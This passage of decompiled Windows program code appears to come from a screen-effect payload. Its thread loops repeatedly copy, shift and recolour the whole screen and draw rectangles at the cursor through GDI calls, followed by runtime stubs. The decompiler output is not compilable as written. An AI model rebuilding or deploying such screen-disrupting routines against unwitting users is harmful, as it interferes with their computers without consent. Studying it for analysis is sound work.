edi520 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi519) *
reinterpret_cast<unsigned char>(g417284));
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edi520) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(edi520 == 0))) {
esi521 = 0;
do {
 esi521 = esi521 + 3;
*reinterpret_cast<signed char*>(&edx498) = reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(&v514) + *reinterpret_cast<signed char*>(&ebx456));
++ebx456;
*reinterpret_cast<unsigned char*>(&ecx124) = reinterpret_cast<unsigned
char>(-*reinterpret_cast<signed char*>(&edx498));
*reinterpret_cast<unsigned char*>(esi521 - 1) = *reinterpret_cast<unsigned
char*>(&ecx124);
*reinterpret_cast<signed char*>(esi521 - 2) = reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(esi521 - 2) + 10);
*reinterpret_cast<signed char*>(esi521 - 3) = *reinterpret_cast<signed
char*>(&edx498);
} while (reinterpret_cast<signed char>(ebx456) < reinterpret_cast<signed
char>(edi520));
esi501 = v513;
}
*reinterpret_cast<void***>(edi520) = *reinterpret_cast<void***>(esi501);
esi522 = esi501 + 4;
eax523 = fun_40cc20(ecx124, v517, 0, 0);
__asm__("movd xmm1, dword [esp+0xc]");
__asm__("mulsd xmm0, [0x4137b0]");
__asm__("cvtdq2pd xmm1, xmm1");
v524 = g417280;
__asm__("addsd xmm0, xmm1");
v525 = g417284;
v526 = reinterpret_cast<void**>(0);
__asm__("cvttsd2si eax, xmm0");
v527 = esi522;
*reinterpret_cast<void***>(v512) = *reinterpret_cast<void***>(esi522);
edi528 = v512 + 4;
esi529 = esi522 + 4;
__asm__("addsd xmm0, [0x413798]");
*reinterpret_cast<void***>(edi528) = *reinterpret_cast<void***>(esi529);
edi479 = edi528 + 4;
esi478 = esi529 + 4;
BitBlt(ecx124, v527, 0);
v530 = esi478;
v531 = reinterpret_cast<void**>(0);
ReleaseDC(ecx124, 0, v530, v527, 0);
v532 = edi479;
DeleteDC(ecx124, v532, 0, v530, v527, 0);
v533 = reinterpret_cast<void**>(0);
DeleteObject(ecx124, 0, v532, 0, v530, v527, 0);
Sleep(ecx124, 30, 0, v532, 0, v530, v527, 0);
 eax544 = fun_401580(ecx124, 30, 0, v532, 0, v530, v527, 0, 0, v525, v524, v512, 0, 0,
0xcc0020, v517, 0, 0, eax523, v513, v512, 0, 0, 0xcc0020, v510, v509, v507, v506, 0, v504, 0,
0, v511, 0, v455, v454, v453, v457, v534, v535, v536, v480, v481, v458, v537, v538, ecx124,
30, 0, v532, 0, v530, v527, 0, 0, v525, v524, v512, 0, 0, 0xcc0020, v517, 0, 0, eax523, v513,
v512, 0, 0, 0xcc0020, v510, v509, v507, v506, 0, v504, 0, 0, v511, 0, v455, v454, v453, v457,
v539, v540, v541, v480, v481, v458, v542, v543);
esp497 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp518) - 4 + 4 - 4 - 4 - 4 -
4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf545 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax544) <
reinterpret_cast<unsigned char>(0));
less_or_equal546 = reinterpret_cast<signed char>(edx498) <= reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(v525) + cf545);
cf547 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx498) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v525) + cf545));
edx498 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx498) -
(reinterpret_cast<unsigned char>(v525) + cf547));
} while (reinterpret_cast<signed char>(edx498) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf547)))) ||
less_or_equal546 && reinterpret_cast<unsigned
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(eax544))) <
reinterpret_cast<unsigned char>(v524));
}
ExitThread(ecx124, 0);
esp548 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp497) - 4 - 4 + 4 - 4);
v549 = ebp445;
ebp550 = esp548;
esp551 = reinterpret_cast<void*>((reinterpret_cast<unsigned char>(esp548) & 0xfffffff8) - 36);
eax552 = g416004;
v553 = reinterpret_cast<void**>(eax552 ^ reinterpret_cast<uint32_t>(esp551));
v554 = ebx456;
v555 = esi478;
v556 = edi479;
ebx557 = *reinterpret_cast<void***>(v455 + 12);
v558 = ebx557;
eax573 = fun_401580(ecx124, v556, v555, v554, 0xcc0020, v510, v558, v507, v506, 0, v504,
0, v553, v549, 0, v455, v454, v453, v457, v559, v560, v561, v480, v481, v458, v562, v563,
v564, v565, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0,
v422, v420, v417, ecx124, v556, v555, v554, 0xcc0020, v510, v558, v507, v506, 0, v504, 0,
v553, v549, 0, v455, v454, v453, v457, v566, v567, v568, v480, v481, v458, v569, v570, v571,
v572, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0, v422,
v420, v417);
esi574 = eax573;
edi575 = edx498;
v576 = esi574;
 v577 = edi575;
eax592 = fun_401580(ecx124, v556, v555, v554, v576, v577, v558, v507, v506, 0, v504, 0,
v553, v549, 0, v455, v454, v453, v457, v578, v579, v580, v480, v481, v458, v581, v582, v583,
v584, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0, v422,
v420, v417, ecx124, v556, v555, v554, v576, v577, v558, v507, v506, 0, v504, 0, v553, v549, 0,
v455, v454, v453, v457, v585, v586, v587, v480, v481, v458, v588, v589, v590, v591, 40, v450,
v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0, v422, v420, v417);
esp593 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp551) - 4 - 4 - 4 - 4 + 4 - 4 +
4);
edx594 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx498) -
(reinterpret_cast<unsigned char>(edi575) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx498) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi575) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax592) < reinterpret_cast<unsigned
char>(esi574))))));
less595 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx594) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less595 | reinterpret_cast<uint1_t>(edx594 == 0)) && (less595 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax592) -
reinterpret_cast<unsigned char>(esi574)) < reinterpret_cast<unsigned char>(ebx557))) {
ebx557 = GetDC;
do {
esi574 = reinterpret_cast<void**>(0);
do {
eax596 = reinterpret_cast<void**>(ebx557(ecx124, 0));
esp597 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp593) - 4 - 4 + 4);
edi575 = eax596;
v558 = reinterpret_cast<void**>(20);
v598 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp597) + 24);
GetCursorInfo(ecx124, v598, 0);
eax599 = fun_402cf0(esi574, v598, 0, v556, v555, v554, v576, v577, 20, v507, v506,
esi574, v598, 0, v556, v555, v554, v576, v577, 20, v507, v506);
v515 = eax599;
eax600 = reinterpret_cast<void**>(CreateSolidBrush(esi574, v515, v598, 0));
v516 = eax600;
SelectObject(esi574, edi575, v516, v515, v598, 0);
ecx124 = v577;
v601 = ecx124 + 30;
v524 = edi575;
Rectangle();
Sleep(10);
v526 = reinterpret_cast<void**>(0);
ReleaseDC(0, edi575, 10);
 esp593 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp597) - 4 - 4 + 4 - 4 +
4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4);
esi574 = esi574 + 2;
} while (reinterpret_cast<signed char>(esi574) < reinterpret_cast<signed char>(0x166));
v527 = reinterpret_cast<void**>(0x4029fe);
eax616 = fun_401580(ecx124, 0, edi575, 10, v524, ecx124, 20, v601, 50, edi575, v516,
v515, v598, 0, v556, v555, v554, v576, v577, 20, v507, v506, 0, v504, 0, v553, v549, 0, v455,
v454, v453, v457, v602, v603, v604, v480, v481, v458, v605, v606, v607, v608, 40, v450, v452,
0x180001, ecx124, 0, edi575, 10, v524, ecx124, 20, v601, 50, edi575, v516, v515, v598, 0,
v556, v555, v554, v576, v577, 20, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453,
v457, v609, v610, v611, v480, v481, v458, v612, v613, v614, v615, 40, v450, v452, 0x180001);
esp593 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp593) - 4 + 4);
cf617 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax616) <
reinterpret_cast<unsigned char>(v524));
cf618 = reinterpret_cast<uint1_t>(20 < reinterpret_cast<unsigned char>(ecx124) +
cf617);
edx594 = reinterpret_cast<void**>(20 - (reinterpret_cast<unsigned char>(ecx124) +
cf618));
} while (reinterpret_cast<signed char>(edx594) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf618)))) ||
reinterpret_cast<int32_t>(20) <= reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(ecx124) + cf617) && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax616) - reinterpret_cast<unsigned char>(v524)) < reinterpret_cast<unsigned
char>(20));
}
ExitThread(ecx124, 0);
esp619 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp593) - 4 - 4 + 4 - 4);
v620 = ebp550;
ebp621 = esp619;
v622 = ebx557;
v623 = esi574;
v624 = edi575;
edi625 = *reinterpret_cast<void***>(v556 + 12);
v626 = edi625;
eax641 = fun_401580(ecx124, v624, v623, v622, v516, v515, v620, 0, v626, v555, v554,
v576, v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v627, v628,
v629, v480, v481, v458, v630, v631, v632, v633, 40, v450, v452, 0x180001, 0x40272c, 1, 0,
v407, v406, v405, ecx124, v624, v623, v622, v516, v515, v620, 0, v626, v555, v554, v576,
v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v634, v635, v636,
v480, v481, v458, v637, v638, v639, v640, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407,
v406, v405);
ebx642 = eax641;
esi643 = edx594;
v644 = ebx642;
 v645 = esi643;
eax660 = fun_401580(ecx124, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554,
v576, v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v646, v647,
v648, v480, v481, v458, v649, v650, v651, v652, 40, v450, v452, 0x180001, 0x40272c, 1, 0,
v407, v406, v405, ecx124, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576,
v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v653, v654, v655,
v480, v481, v458, v656, v657, v658, v659, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407,
v406, v405);
esp661 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp619 - 8) - 4 - 4 - 4 - 4 + 4 - 4
+ 4);
edx662 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx594) -
(reinterpret_cast<unsigned char>(esi643) + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned
char>(edx594) < reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(esi643) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax660) < reinterpret_cast<unsigned
char>(ebx642))))));
less663 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx662) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less663 | reinterpret_cast<uint1_t>(edx662 == 0)) && (less663 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax660) -
reinterpret_cast<unsigned char>(ebx642)) < reinterpret_cast<unsigned char>(edi625))) {
ebx642 = BitBlt;
do {
esi643 = reinterpret_cast<void**>(0);
less_or_equal664 = reinterpret_cast<signed char>(g417280) <= reinterpret_cast<signed
char>(0);
if (!less_or_equal664) {
do {
eax665 = reinterpret_cast<void**>(GetDC(ecx124, 0));
v524 = esi643;
v526 = reinterpret_cast<void**>(50);
v527 = g417284;
v530 = esi643;
v531 = reinterpret_cast<void**>(10);
v532 = eax665;
ebx642(ecx124, v532, 10, v530, v527, 50, eax665, 0, v524, 0xcc0020, 0);
v533 = reinterpret_cast<void**>(0xcc0020);
esi666 = esi643 + 50;
v667 = g417284;
v668 = esi666;
v669 = eax665;
ebx642(ecx124, v669, 0xf6, v668, v667, 50, eax665, 0, esi666, 0xcc0020, v532,
10, v530, v527, 50, eax665, 0, v524, 0xcc0020, 0);
v670 = eax665;
 ReleaseDC(ecx124, 0, v670, v669, 0xf6, v668, v667, 50, eax665, 0, esi666,
0xcc0020, v532, 10, v530, v527, 50, eax665, 0, v524, 0xcc0020, 0);
Sleep(ecx124, 10, 0, v670, v669, 0xf6, v668, v667, 50, eax665, 0, esi666,
0xcc0020, v532, 10, v530, v527, 50, eax665, 0, v524, 0xcc0020, 0);
esp661 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp661) - 4 - 4 + 4 - 4
- 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4);
esi643 = esi666 + 50;
less671 = reinterpret_cast<signed char>(esi643) < reinterpret_cast<signed
char>(g417280);
} while (less671);
edi625 = v626;
}
eax686 = fun_401580(ecx124, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554,
v576, v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v672, v673,
v674, v480, v481, v458, v675, v676, v677, v678, 40, v450, v452, 0x180001, 0x40272c, 1, 0,
v407, v406, v405, ecx124, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576,
v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v679, v680, v681,
v480, v481, v458, v682, v683, v684, v685, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407,
v406, v405);
esp661 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp661) - 4 + 4);
cf687 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax686) <
reinterpret_cast<unsigned char>(v644));
less_or_equal688 = reinterpret_cast<signed char>(edx662) <= reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(v645) + cf687);
cf689 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx662) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v645) + cf687));
edx662 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx662) -
(reinterpret_cast<unsigned char>(v645) + cf689));
} while (reinterpret_cast<signed char>(edx662) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf689)))) ||
less_or_equal688 && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax686) - reinterpret_cast<unsigned char>(v644)) < reinterpret_cast<unsigned
char>(edi625));
}
ExitThread(ecx124, 0);
esp690 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp661) - 4 - 4 + 4 - 4 &
0xfffffff8) - 92);
eax691 = g416004;
v692 = reinterpret_cast<void**>(eax691 ^ reinterpret_cast<uint32_t>(esp690));
eax693 = g417284;
__asm__("xorps xmm0, xmm0");
eax694 = g417280;
v695 = ebx642;
v696 = esi643;
 v697 = edi625;
ebx698 = *reinterpret_cast<void***>(v624 + 12);
edi699 = reinterpret_cast<void**>(0);
__asm__("movups [esp+0x48], xmm0");
__asm__("movq [esp+0x58], xmm0");
v700 = ebx698;
eax707 = fun_401580(ecx124, v697, v696, v695, v701, v702, v703, 0x402abc, 10, 0, v670,
v669, v700, v668, v667, 40, eax693, eax694, 0x180001, v533, v532, v531, v530, v527, v526, 0,
v692, v524, ebp621, 0, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576, v577,
v558, v507, v506, 0, ecx124, v697, v696, v695, v704, v705, v706, 0x402abc, 10, 0, v670, v669,
v700, v668, v667, 40, eax693, eax694, 0x180001, v533, v532, v531, v530, v527, v526, 0, v692,
v524, ebp621, 0, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576, v577, v558,
v507, v506, 0);
v708 = edx662;
v709 = eax707;
eax714 = fun_401580(ecx124, v697, v696, v695, v710, v711, v708, 0x402abc, 10, 0, v670,
v709, v700, v668, v667, 40, eax693, eax694, 0x180001, v533, v532, v531, v530, v527, v526, 0,
v692, v524, ebp621, 0, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576, v577,
v558, v507, v506, 0, ecx124, v697, v696, v695, v712, v713, v708, 0x402abc, 10, 0, v670, v709,
v700, v668, v667, 40, eax693, eax694, 0x180001, v533, v532, v531, v530, v527, v526, 0, v692,
v524, ebp621, 0, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576, v577, v558,
v507, v506, 0);
esp715 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp690) - 4 - 4 - 4 - 4 + 4 - 4 +
4);
edx716 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx662) -
(reinterpret_cast<unsigned char>(v708) + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned
char>(edx662) < reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v708) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax714) < reinterpret_cast<unsigned
char>(eax707))))));
less717 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx716) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less717 | reinterpret_cast<uint1_t>(edx716 == 0)) && (less717 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax714) -
reinterpret_cast<unsigned char>(eax707)) < reinterpret_cast<unsigned char>(ebx698))) {
do {
eax718 = reinterpret_cast<void**>(GetDC(ecx124, 0, v697, v696, v695));
ebx719 = eax718;
v720 = ebx719;
eax721 = reinterpret_cast<void**>(CreateCompatibleDC(ecx124, v720, 0, v697, v696,
v695));
esp722 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp715) - 4 - 4 + 4 - 4 - 4 +
4 - 4);
esi723 = eax721;
v724 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp722) + 56);
 esp725 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp722) - 4 - 4 - 4);
v726 = esi723;
v727 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp725) + 72);
v728 = ebx719;
eax729 = reinterpret_cast<void**>(CreateDIBSection(ecx124, v728, v727));
v730 = eax729;
v731 = esi723;
v696 = eax729;
SelectObject(ecx124, v731, v730, v728, v727);
v732 = reinterpret_cast<void**>(0);
v733 = ebx719;
v734 = g417280;
v735 = g417284;
v736 = esi723;
BitBlt(ecx124, v736, 0, 0, v735, v734, v733, 0);
esp737 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp725) - 4 - 4 - 4 + 4 - 4 -
4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4);
eax738 = g417280;
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(eax738) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(eax738 == 0))) {
eax739 = g417284;
ecx124 = reinterpret_cast<void**>(0);
v735 = reinterpret_cast<void**>(0);
v732 = eax739 + reinterpret_cast<unsigned char>(eax739) * 2;
edx716 = g417280;
v734 = edx716;
do {
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(eax739) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(eax739 == 0))) {
esi740 = ecx124;
ebx741 = eax739;
do {
eax742 = fun_402e30(edi699, reinterpret_cast<uint32_t>(esp737) + 48, v736,
0, 0);
esp737 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp737) - 4 - 4 +
4 + 4);
esi740 = esi740 + 3;
dl743 = eax742->f2;
*reinterpret_cast<void***>(esi740 + 0xfffffffd) = eax742->f0;
*reinterpret_cast<void***>(esi740 + 0xffffffff) = dl743;
--ebx741;
} while (ebx741);
ecx124 = v735;
edx716 = v734;
 }
eax744 = edi699 + 2;
edi699 = reinterpret_cast<void**>(0);
if (reinterpret_cast<signed char>(eax744) < reinterpret_cast<signed char>(0x166))
{
edi699 = eax744;
}
ecx124 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx124) +
reinterpret_cast<unsigned char>(v732));
eax739 = g417284;
--edx716;
v735 = ecx124;
v734 = edx716;
} while (edx716);
ebx719 = reinterpret_cast<void**>(0);
esi723 = reinterpret_cast<void**>(0xcc0020);
eax738 = g417280;
}
v745 = g417284;
BitBlt(ecx124);
ReleaseDC(ecx124, 0, ebx719);
DeleteDC(ecx124, esi723, 0, ebx719);
DeleteObject(ecx124, esi723, esi723, 0, ebx719);
Sleep(ecx124, 10, esi723, esi723, 0, ebx719);
eax750 = fun_401580(ecx124, 10, esi723, esi723, 0, ebx719, ebx719, 0, 0, v745,
eax738, esi723, 0, 0, 0xcc0020, v736, 0, 0, v735, v734, v733, v732, 0, 0xcc0020, v731, v730,
v728, v727, 0, v724, 0, 0, v720, 0, v697, v696, v695, v746, v747, v708, v726, 10, 0, v670, v709,
v700, ecx124, 10, esi723, esi723, 0, ebx719, ebx719, 0, 0, v745, eax738, esi723, 0, 0,
0xcc0020, v736, 0, 0, v735, v734, v733, v732, 0, 0xcc0020, v731, v730, v728, v727, 0, v724, 0,
0, v720, 0, v697, v696, v695, v748, v749, v708, v726, 10, 0, v670, v709, v700);
esp715 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp737) - 4 - 4 - 4 - 4 - 4 -
4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf751 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax750) <
reinterpret_cast<unsigned char>(esi723));
less_or_equal752 = reinterpret_cast<signed char>(edx716) <= reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(ebx719) + cf751);
cf753 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx716) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(ebx719) + cf751));
edx716 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx716) -
(reinterpret_cast<unsigned char>(ebx719) + cf753));
} while (reinterpret_cast<signed char>(edx716) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf753)))) ||
less_or_equal752 && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax750) - reinterpret_cast<unsigned char>(esi723)) < reinterpret_cast<unsigned
char>(0));
}
ExitThread(ecx124, 0, v697, v696, v695);
}

int32_t fun_403478() {
int32_t ecx1;
int32_t ebp2;

ecx1 = 0;
*reinterpret_cast<unsigned char*>(&ecx1) =
reinterpret_cast<uint1_t>(***reinterpret_cast<int32_t***>(ebp2 - 20) == 0xc0000005);
return ecx1;
}

void fun_403871() {
int32_t* esi1;
int32_t edi2;

esi1 = reinterpret_cast<int32_t*>(0x41485c);
if (!1) {
do {
edi2 = *esi1;
if (edi2) {
image_base_(edi2);
edi2(edi2);
}
++esi1;
} while (reinterpret_cast<uint32_t>(esi1) < 0x41485c);
}
return;
}

struct s155 {
signed char[12] pad12;
void** fc;
};

int32_t fun_403b41(void** ecx, void** a2) {

void** v3;
struct s155* ebp4;
void** v5;
int32_t ebp6;
 int32_t eax7;

v3 = ebp4->fc;
v5 = *reinterpret_cast<void***>(ebp6 - 20);
eax7 = fun_403b8f(ecx, v5, v3, __return_address(), a2);
return eax7;
}

/* (image base) */
int32_t image_base_ = 0x403ae1;

int32_t fun_403c40(void** ecx, void** a2, void** a3, void** a4) {

void** v5;
void** ebx6;
uint32_t v7;
uint32_t esi8;
void** v9;
void** edi10;
signed char v11;
void** v12;
int32_t v13;
void** eax14;
void** esi15;
void** eax16;
void** v17;
void** v18;
void** edi19;
void** ecx20;
void** v21;
void** v22;
void*** eax23;
void** ebx24;
struct s17* eax25;
int32_t eax26;
int1_t sf27;
int1_t zf28;
uint32_t eax29;
int32_t esi30;
void** ecx31;
void** eax32;
void** ecx33;

v5 = ebx6;
v7 = esi8;
 v9 = edi10;
v11 = 0;
v12 = *reinterpret_cast<void***>(a2);
v13 = 1;
eax14 = fun_40cb70(ecx, v12);
*reinterpret_cast<void***>(a2) = eax14;
esi15 = a3 + 16;
eax16 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a3 + 8)) ^ g416004);
v17 = esi15;
v18 = eax16;
fun_403c00(ecx, eax16, esi15, v12);
fun_404050(a4, eax16, esi15, v12);
edi19 = *reinterpret_cast<void***>(a3 + 12);
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 4)) & 0x66) {
if (edi19 == 0xfffffffe) {
addr_403d10_3:
return v13;
} else {
ecx20 = a3;
fun_4041d0(ecx20, esi15, 0x416004);
}
} else {
v21 = a2;
v22 = a4;
*reinterpret_cast<void**>(a3 + 0xfffffffc) =
reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 28);
if (edi19 == 0xfffffffe)
goto addr_403d10_3;
do {
eax23 = reinterpret_cast<void***>(edi19 + reinterpret_cast<unsigned char>(edi19 + 2) *
2);
ebx24 = *reinterpret_cast<void***>(v18 + reinterpret_cast<uint32_t>(eax23) * 4);
eax25 = reinterpret_cast<struct s17*>(v18 + reinterpret_cast<uint32_t>(eax23) * 4);
ecx20 = eax25->f4;
if (!ecx20) {
*reinterpret_cast<signed char*>(&ecx20) = v11;
} else {
eax26 = fun_404170(ecx20);
*reinterpret_cast<signed char*>(&ecx20) = 1;
v11 = 1;
sf27 = eax26 < 0;
if (sf27)
goto addr_403ce4_9;
 if (!reinterpret_cast<uint1_t>(reinterpret_cast<uint1_t>(sf27) |
reinterpret_cast<uint1_t>(eax26 == 0)))
goto addr_403d1a_11;
}
edi19 = ebx24;
} while (!reinterpret_cast<int1_t>(ebx24 == 0xfffffffe));
goto addr_403cde_14;
}
addr_403d04_15:
fun_403c00(ecx20, v18, esi15, v9);
goto addr_403d10_3;
addr_403cde_14:
if (!*reinterpret_cast<signed char*>(&ecx20))
goto addr_403d10_3;
goto addr_403d04_15;
addr_403ce4_9:
v13 = 0;
goto addr_403d04_15;
addr_403d1a_11:
if (reinterpret_cast<int1_t>(*reinterpret_cast<void***>(a2) == 0xe06d7363) && (zf28 =
image_base_ == 0, !zf28)) {
eax29 = fun_40c8d0(0x40e228);
if (eax29) {
esi30 = image_base_;
image_base_(esi30, a2, 1);
esi30(esi30, a2, 1);
esi15 = v17;
}
}
ecx31 = a3;
fun_4041b0(ecx31);
eax32 = a3;
if (*reinterpret_cast<void***>(eax32 + 12) != edi19) {
ecx31 = eax32;
fun_4041d0(ecx31, esi15, 0x416004);
eax32 = a3;
}
*reinterpret_cast<void***>(eax32 + 12) = ebx24;
fun_403c00(ecx31, v18, esi15, v9);
ecx33 = eax25->f8;
fun_404190(ecx33, v9, v7, v5, v21, v22, eax25);
}

void fun_403f3a(void** ecx, void** a2) {

 int32_t v3;
void** ebp4;

v3 = reinterpret_cast<int32_t>(__return_address());
if (a2 && a2 != 0x416aec) {
fun_405d10(ecx, a2, ebp4, *reinterpret_cast<void***>(&v3));
}
return;
}

void fun_4046fc(int32_t ecx) {

goto *reinterpret_cast<int32_t*>(ecx * 4 + 0x404714);
}

void fun_4048eb() {
goto 0x4048f0;
}

void** fun_4051fa(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** eax9;
int1_t zf10;
void** ebp11;

eax9 = *reinterpret_cast<void***>(a2);
zf10 = eax9 == g416db0;
if (!zf10) {
eax9 = fun_40518b(ecx, eax9, ebp11, __return_address(), a2, a3, a4, a5, a6, a7, a8);
}
return eax9;
}

void** fun_405215(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** eax9;
int1_t zf10;
void** ebp11;

eax9 = *reinterpret_cast<void***>(a2);
zf10 = eax9 == g416dac;
if (!zf10) {
eax9 = fun_40518b(ecx, eax9, ebp11, __return_address(), a2, a3, a4, a5, a6, a7, a8);
}
return eax9;
}

struct s156 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
signed char[3] pad16;
void** f10;
signed char[3] pad20;
void** f14;
signed char[3] pad24;
void** f18;
signed char[3] pad28;
void** f1c;
signed char[3] pad32;
void** f20;
};

void fun_405465(void** ecx) {

struct s156* esp2;
int32_t ebp3;

esp2 = reinterpret_cast<struct
s156*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(ebp3 - 24)) - 4);
esp2->f0 = 0x40546d;
fun_405c91(ecx, esp2->f4, esp2->f8, esp2->fc, esp2->f10, esp2->f14, esp2->f18, esp2->f1c,
esp2->f20);
}

int32_t fun_405cb9() {
return 1;
}

uint32_t fun_405db0(void* a1, unsigned char* a2, uint32_t a3) {

